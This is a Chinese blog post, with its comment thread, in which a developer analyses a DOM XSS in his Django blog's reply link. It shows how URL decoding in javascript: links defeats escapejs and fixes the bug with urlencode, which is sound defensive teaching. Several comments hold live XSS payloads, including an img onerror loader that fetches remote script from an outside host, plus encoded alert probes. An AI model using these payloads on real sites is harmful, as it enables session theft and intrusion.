我自己博客的一个XSS的故事

今天晚上收到几个提醒,打开一看是有人在我博客评论区测试XSS:

image-20220619003454334-16555700950171.png

本来这种测试司空见惯了,而且此人也没成功找到XSS,放以前我多半就关掉页面了。

不过我今晚不知为何临时起意,就顺势看了一下自己写的代码,居然被我自己找到一个XSS漏洞:

image-20220619003357418.png

原因是什么呢?

0x01 开发历史介绍

我当时在开发这个回复按钮的时候,为了方便,直接用JavaScript伪协议来调用reply_to函数,比如:

image-20220619003805674.png

reply_to函数接受两个参数,一个是这条评论的id,第二个是这条评论的用户昵称。

当然,因为我的博客基于Django开发,所以默认在输出页面的时候会有HTML编码,这里不会直接逃逸出href属性的范围。

但其实如果只使用默认的HTML编码,在这个上下文中是不够的,会产生一个DOM型XSS,例如:

<a href="javascript:console.log('&#x27;&#x2b;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x2b;&#x27;')">click 1</a>

image-20220619005504956.png

原因是HTML在渲染属性的时候,会先解实体编码后才执行属性内部的JavaScript代码。所以,上面这个例子里实际执行的代码是:

console.log(''+alert(1)+'')

逃逸出单引号执行了alert。

这是很经典的DOM型XSS,所以我在当时写代码的时候也考虑了这种情况。我的处理方式是使用Django中的一个模板filter叫escapejs,它专用于转义JavaScript引号内的代码。我的处理逻辑如下:

<a href="javascript:reply_to('{{ object.pk }}', '{{ object.nickname | escapejs }}')">回复</a>

这样,用户的昵称中的特殊字符将会被转义成unicode编码,比如本文开头那个兄弟测试的评论,就无法触发XSS:

image-20220619010230312.png

看起来被转义的死死的,为什么我还是找到了XSS呢?

0x02 URL编码导致的XSS漏洞

原因就出在JavaScript伪协议上,不管是JavaScript伪协议还是HTTP协议,他们在href属性里都是URL。既然是URL,那么肯定支持URL编码,这就是核心问题了:浏览器在渲染JavaScript伪协议地址的时候,会先进行URL解码,再执行JavaScript。

那么这个问题其实就和前面说的HTML编码导致的DOM型XSS一样,如果我们输入用户的昵称是%27%2Balert%281%29%2B%27,会被解码成'+alert(1)+'再放进JavaScript里执行,那么实际执行的代码也是console.log(''+alert(1)+''),造成一个DOM型XSS:

image-20220619011108045.png

这其实也是一个很常见的知识,不过我当时在写代码的时候忽略了。另一个原因也在于escapejs,它实际上只转义了下面这些字符:

_js_escapes = {
    ord("\\"): "\\u005C",
    ord("'"): "\\u0027",
    ord('"'): "\\u0022",
    ord(">"): "\\u003E",
    ord("<"): "\\u003C",
    ord("&"): "\\u0026",
    ord("="): "\\u003D",
    ord("-"): "\\u002D",
    ord(";"): "\\u003B",
    ord("`"): "\\u0060",
    ord("\u2028"): "\\u2028",
    ord("\u2029"): "\\u2029",
}

其中不包含%,所以也间接导致了这个漏洞的产生。

当然,Django文档中也明确说明了他们不认为escapejs可以用于处理安全问题,而仅用于防止JavaScript语法出错:

escapejs

Escapes characters for use in JavaScript strings. This does not make the string safe for use in HTML or JavaScript template literals, but does protect you from syntax errors when using templates to generate JavaScript/JSON.

我也曾在代码审计知识星球里介绍过当时我发现的另一个容易导致开发者误用escapejs的问题,这就是另一个故事了,本文不细表。

那么,在无法修改escapejs转义的字符的情况下,如何修复这个漏洞呢?

0x03 漫谈漏洞修复

说到修复漏洞,我想到这半年以来面试的时候总会问的一类问题,就是某某漏洞如何修复。

按理说Web漏洞的原理与修复方式应该属于非常基础的问题之一了,但很多候选人都没法正确回答。

比如在遇到命令注入修复一类问题的时候,大部分候选人会回答“过滤”、“拦截”特殊字符,或者只允许数字、字母、汉字等字符;那么如果业务开发就是需要使用特殊字符,又如何处理呢?很多人回答不上来。

当然我不反对白名单用户的输入,在不影响业务的情况下这是最保险也最安全的方式,但你至少需要知道更加wide的修复方法是什么,这一点反映出你是不是真的了解一个漏洞的原理。

比如今天遇到的这个问题,我们很容易想到的第一个修复方法就是在用户评论的时候拦截或过滤%字符。但是这样其实就影响了那些昵称包含%的用户,他们无法正常评论。

我们常常反对一刀切,但殊不知我们自己很多时候也在做一刀切的决定,毕竟一刀切最简单,不用承担风险。

对于该漏洞,我的修复方式是:

<a href="javascript:reply_to('{{ object.pk }}', '{{ object.nickname | escapejs | urlencode }}')">回复</a>

因为浏览器在解析URL的时候会进行URL解码,那么用户的输入理应进行URL编码后再放进URL中。这就是我修复这个漏洞的方法,让用户的输入按照浏览器解析的顺序进行编码:先进行unicode编码再进行url编码

因为这个写法也在mooder中使用,所以请使用mooder的同学升级下最新版本来防御XSS漏洞:https://github.com/phith0n/mooder/commit/611124d2f685281ef47570d41f976e194bed9d6f

赞赏

喜欢这篇文章?打赏1元

评论

1 回复

666

%25%32%37%25%32%62alert%25%32%381%25%32%39%25%32%62%25%32%37 回复

%25%32%37%25%32%62alert%25%32%381%25%32%39%25%32%62%25%32%37

wwe 回复

</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fvpn.whalwl.work%3A18080%2FqSkKIj%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

wwe 回复

</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fvpn.whalwl.work%3A18080%2FqSkKIj%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

kidf 回复

哥们膜拜了,我也想成为你这样的人,以后你是我的努力方向了。

h3h3 回复

膜一膜

11'1 回复

alert("P牛牛逼")

ICQ 回复

i春秋到此一游

叶开 回复

学习了!

ixx 回复

666 发志狠来自己都黑

nok 回复

你的这个是怎么实现的?
我为什么打不出来

## 0x01 XXX

## 0x02 XXX

0x27+alert(1)+0x27 回复

0x27+alert(1)+0x27

0x27+alert(1)+0x27 回复

1

kira 回复

学习了

captcha